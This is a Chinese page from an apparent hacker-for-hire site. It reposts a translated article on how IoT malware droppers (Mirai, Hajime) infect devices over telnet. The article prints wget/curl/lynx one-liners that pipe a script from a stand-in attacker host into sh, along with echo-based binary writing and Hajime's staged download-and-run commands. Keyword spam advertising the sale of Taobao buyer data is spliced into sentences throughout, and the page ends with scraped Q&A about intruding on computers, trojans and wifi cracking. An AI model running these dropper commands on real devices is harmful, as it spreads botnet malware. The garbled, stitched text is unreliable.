首页 黑客接单正文

怎么从0开始学黑客-tb买家信息出售-以Mirai僵尸 *** 为例,浅析IoT恶意软件dropper

hacker 黑客接单 2020-11-11 180 3

tb顾客信息售卖-以Mirai僵尸 *** 为例,浅析IoT恶意软件dropper

IoT恶意软件概述

 

IoT恶意软件即对于智能产品等物联网技术内嵌式机器设备的恶意软件。近期一段时间以IoT机器设备为肉食鸡的僵尸 *** 越来越愈来愈如何从0开始学 *** 黑客时兴。Mirai、Hajime、LuaBot等IoT僵尸 *** 的出現持续吞噬着互联网技术,一次又一次给客户保持警惕,告知大家IoT安全性的必要性。这种恶意软件根据侵入无线路由器、调制调解器(“猫”)、智能摄像机等别的联接在互联网技术上的IoT内嵌式机器设备,从而对总体目标互联网进行DDOS进攻。

 

总体来说,恶意软件的感柒全过程没有什么尤其的。许多 IoT恶意软件乃至不用运用系统漏洞就可以进行对总体目标机器设备的侵入。因为客户安全防范意识欠缺,购买布署智能产品后通常选用默认设置配备,即很有可能存有弱口令、空动态口令等安全隐患。在这类状况下,感柒这种IoT机器设备要是做一件事就好了,即应用一些常见的登陆密码暴力破解密码telnet服务项目,直至登录成功已经。

一般而言, *** 攻击根据侵入telnet服务项目,通常能够取得一个低管理权限的shell(译员注:这儿常说的低管理权限应当就是指大部分只有机器设备选用一个 *** 版的busybox出示互动式shell,仅能实行比较有限的指令)。


安全客小百度百科:Mirai僵尸 ***

二零一六年10月21日 11:10 UTC(中国北京时间19:10上下)Mirai僵尸 *** 对美国域名服务提供商Dyn进行DDOS进攻,造成 美国东海岸地域很多网址服务器宕机。你很有可能沒有听闻Dyn,但你一定了解这种网址,如GitHub、Twitter、PayPal等。Dyn为这种著名网站出示基本的DNS服务项目,当其遭受进攻时,客户没法根据网站域名浏览这种网站。 Mirai僵尸 *** 即运用一款智能摄像机的系统漏洞侵入了很多的监控摄像头,运用这种监控摄像头从而进行DDOS进攻。


dropper是啥?

dropper的关键作用:

*** 攻击对存有系统漏洞的机器设备开展扫描仪(根据暴力破解密码等 *** 取得智能产品root管理权限的shell)

*** 攻击根据登陆telnet服务项目得到 一个root管理权限的shell,试着在该机器设备上安裝恶意软件。

恶意软件实行,进行对总体目标机器设备的侵入。

在总体目标机器设备中安装下载恶意软件的脚本 *** 一般被称为dropper。由于这一段编码能够根据一些方式把如何从0开始学 *** 黑客恶意软件释放出来(drop)到机器设备上。

借助于总体目标机器设备上能用的专用工具,dropper的完成非常简单,仅需两行编码,像下边那样:

1

2

3

wget -q http://evil-hax0r.com/m.sh -O - | sh

curl -s http://evil-hax0r.com/m.sh | sh

如何从0开始学 *** 黑客 lynx -dump http://evil-hax0r.com/m.sh | sh

或是还能够必须根据早已创建的对话来开展文档的传送。在某种程度上,dropper类似“Rubber Ducky”。要是出示一个互动式的终端设备,我们可以向服务器端(即总体目标IoT机器设备)推送指令。


深入分析dropper

dropper的关键目地是在IoT机器设备上安裝恶意软件并实行。这听起来非常容易,但一般而言必须下列好多个流程进行这件事情。

更先,在总体目标机器设备中寻找一个具备应写和可实行管理权限的文件夹名称。一般而言,/tmp文件夹一般会考虑之上2个标准(可写、可实行),可是出自于保险起见大家更好是還是先测试一下。

第二,摸清楚总体目标机器设备的构架,便于能够释放出来恰当的二进制文件。为了更好地提升在互联网技术上的散播机遇,对于内嵌式机器设备的恶意软件一般适用多种多样构架。你很有可能会碰到一些ARM架构,MIPS 32位系统、64构架的CPU。

最终,dropper务必想方设法将该故意文件传送到内嵌式机器设备中并运作。

留意:繁杂的dropper也有大量的作用。如,查验设备是不是早已被感染,清除别的的恶意软件,查验是不是在调节自然环境中(vm虚拟机、沙盒游戏等)。

针对之一次触碰这些方面的人而言,大家只需关心基本一部分就好了。

那麼大家就跟随这种流程一步一步的去科学研究如何从0开始学黑客吧,在此以前大家也要做一些准备工作。


分析指令

*** 攻击运作一个程序流程,感柒远程控制的内嵌式机器设备。这一程序流程与远程控制内嵌式机器设备的telnet服务项目创建socket联接,根据socket联接推送和读取数据。根据socket传送的数据信息便是大家手动式联接机器设备输入的內容。

为了更好地有助于事后实际操作,搜集运行命令后回显的信息是十分必须的。

很多恶意软件选用的 *** 是键入不会有的busybox指令纪录每一个回显的值。你将见到以下指令:

如何从0开始学 *** 黑客 1

nc; wget; /bin/busybox RANDOM_TAG

恶意软件Hajime应用上边的指令来查验当今busybox是不是具备nc和wget指令。针对不会有的指令,busybox将回到以下几点。

1

COMMAND: applet not found

这如何从0开始学 *** 黑客样得话,上一个指令将造成下列回显結果:

1

2

3

nc: applet not found

wget: applet not found

RANDOM_TAG: applet not found

这代表着nc和wget指令在该机器设备中是不会有的。 


寻找一个适合的文件夹名称

如上所述,之一步,dropper更先要在在内嵌式机器设备中寻找一个具备读写能力管理权限的文件夹名称释放出来(drop)文档。

一般的作法是看实行cat /proc/mounts指令,輸出的內容中是不是包括字符串数组rw。(你能在Linux系统软件中实行这一指令如何从0开始学 *** 黑客测试一下)。

必须留意的是,绝大部分的内嵌式机器设备都不兼容grep指令,因而cat /proc/mounts | grep rw指令不可以一切正常工作中。反过来dropper将载入cat命令的详细輸出,随后从这当中找寻rw字符串数组。

Mirai和Hajime选用这类 *** 找寻适合的文件夹名称储存和运作文档。大家讨论一下Mirai实行的指令。

https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/server.c#L338 

你见到标出的这方面后边的TOKEN_QUERY了没有?你能在https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/headers/includes.h寻找该文件预订义的內容,如如何从0开始学 *** 黑客下面的图所显示。

1

2

#define TOKEN_QUERY     "/bin/busybox ECCHI"

#define TOKEN_RESPONSE  "ECCHI: applet not found"

如今大家早已了解TOKEN_QUERY便是"/bin/busybox ECCHI&如何从0开始学 *** 黑客quot;。


摸透总体目标机器设备构架

如今,dropper必须搞清楚要想感柒的内嵌式机器设备的构架,有助于免费下载恰当的二进制文件。

一般来说,您不容易在内嵌式机器设备中应用readelf或file等指令分辨总体目标机器设备的构架(由于有如何从0开始学 *** 黑客许多 机器设备不兼容这种指令),因而你需要根据别的的 *** 分辨其构架。

在这儿,我们可以根据分析ELF文件头的 *** 分辨其构架。

为了更好地保证这一点,dropper一般会cat一个已经知道的二进制文件。大部分的挑选是/bin/echo。举个事例,大家看一下Mirai的编码(还可以在文尾的论文参考文献中看一下Hajime是怎么处理的)

https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/server.c#L369 

你能在上面的编码精彩片段中见到情况怎么设置为下一个循环系统(TELNET_DETECT_ARCH),随后指令发送至 *** 服务器并循环系统迭代更新进行。

在下一次迭代更新中,TELNET_DETECT_ARCH将被开启,而且cat的輸出将被载入并解决。

https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/server.c#L383 

你能在这儿寻找查验构架的编码

https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/connection.c#L465 

如同我常说,Mirai做的是分析ELF头,并查验e_machine和e_ident字段名来找到构架。

它将一个表针偏向从socket连接载入到Elf_hdr建筑结构的缓冲区域,随后仅仅浏览这种字段名。看一下编码,Mirai事实上对ARM子类 型进行了额外的检查。

 


 

如何传输文件

现在,我们要弄清楚的是dropper如何将恶意软件传输到嵌入式设备。

例如Mirai,先检查wget、tftp等命令是否存在(使用我们上面提到的技术即可判断)。你可以在下面的代码中看到详细的信息。

https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/server.c#L431 

怎么从0开始学黑客

当其中一个工具可用是,我们就可以用他下载恶意软件,但是有时候这些命令都不能用的话,像Mirai采用的echo *** 就很有必要了。

怎么从0开始学黑客


 

使用echo传输文件

So,这个echo *** 到底是怎么工作的呢?很简单,仅仅是将一对16进制的字符串echo到一个文件中。像下面这样

1

echo -ne "\x7f\x45\x4c\x4怎么从0开始学黑客6\x..." > malware

但是,这只适用于非常小的二进制文件。对于较大的二进制文件,您可能必须将echo命令分成多个部分,并使用>>附加重定向将每个部分的内容追加写入到结果文件中。


 

看看Hajime恶意软件是怎么做的

怎么从0开始学黑客Hajime案例是非常有趣的,因为它将释放恶意软件分为两个阶段。

首先部署了一个非常小的ELF二进制文件。这个二进制文件将会下载真正的恶意软件。它连接到预定义的服务器,接受真正的恶意软件内容。

1

cp .s .i; >.i; ./.s>.i; ./.i; rm .s; /bin/busybox ECCHI

.s即为使用echo命令下载的小型ELF文件。此文件此前由dropper下载好,具有执行权限。上述的shell代码将会执行怎么从0开始学黑客如下操作。

cp .s .i 复制小ELF文件(这个文件将下载一个真正的恶意软件)从.s到.i。大家都知道文件名称前面带个“.”就是隐藏文件的意思(你可以使用ls -a命令查看到这些隐藏文件。)这可以使复制前后的文件具有相同的权限。这基本上意味着下载最终的恶意软件后,我们就不用做chmod 777 .i就拥有执行权限。

>.i. 这个命令的意思是截断文件的内容。 换句话说,这是一种删怎么从0开始学黑客除文件的所有内容并将其文件大小设置为0,保留文件权限。所以现在我们有一个具有执行权限的空文件。

./.s>.i 这个命令的意思就更明显了。现在它已经运行了一个下载器(这个下载器就是前面说的小的ELF文件,通过echo创建的),将下载的内容重定向他的标准输出到一个空的可执行文件.i中。正如我们上面所说,

该下载器连接到服务器,无论远程服务器响应任何内容,都将信息转储到stdout。可以将其想象成 *** 版的wget。

./.i;rm .s 这句命令的功能是将下载的恶意文件执行,并将前文的下载器从磁盘上移除。主恶意软件像一个守护进程,当开始执行./.i,程序将执行,下载器将删除。

到此为止,恶意软件已成功在目标设备中植入。


总结

文章到这里就基本结束了。希望大家读后能有所收获,如果这对你来说是一个新的领域,你将学习到一些东西。请自由分享你的意见,并在下面的评论中提出你的见解。


参考文献

本文内容基于以下内容提供信息:

Mirai 怎么从0开始学黑客 源代码:https://github.com/jgamblin/Mirai-Source-Code/tree/master/loader/src

Hajime 分析:https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf 

本文由 安全客 翻译,翻译:童话 转载请注明“转自安全客”,并附上链接。

原文链接:https://0x00sec.org/t/iot-malware-droppers-mirai-and-hajime/1966

 

基本上没有办法。 只有入侵他了。看他开没开共享? 或3389 ? 有没有系统漏洞? 远程注册 表? 搜集他电脑的一些信息。比如上次我知道一台电脑的IP就。tb买家信息出售

强行修改对方qq密保手机号不是,有人24小时值班当发现核攻击,在导弹落地前迅速报告给领导,同时进入1级战备,等领导班子下命令反击,因任何系统都有可能犯错误,如果自动向别国发射。

tb买家信息出售1998年的牛刀小试为1999年的之一次中美黑客大战埋下伏笔。1999年美军误炸中国驻南使馆后,一大批网民开始思考要行动起来,大量只懂简单电脑知识的网民自学。

黑客一词,原指热心于计算机技术,水平高超的电脑专家,尤其是程序设计人员。但到了今怎么从0开始学黑客天,黑客一词已被用于泛指那些专门利用电脑 *** 搞破坏或恶作剧的坏人。

nc.exe是一个程序,系统不自带,需要下载。你百度搜索一下,下载后把nc.exe防在系统文件夹(C:\Windows\System32)里就可。tb买家信息出售

如果有这样的软件,腾讯还活不活了,估计他就得一头撞死。建议你还是不要用,现在黑客网站网站上的各种版本 *** 木马生成器大多软件本身都带了后门;也就是说:你生成出来的 *** 木马本身盗取了 *** 后,会把 *** 密码。

tb买家信息出售2014-11-12不是有黑客字典吗?在哪里下载高手请把链接发给我,还有有没有什。2015-06-15黑客都是怎么破解wifi密码的(不用和我说是跑字典的。1个月。

标签:

版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。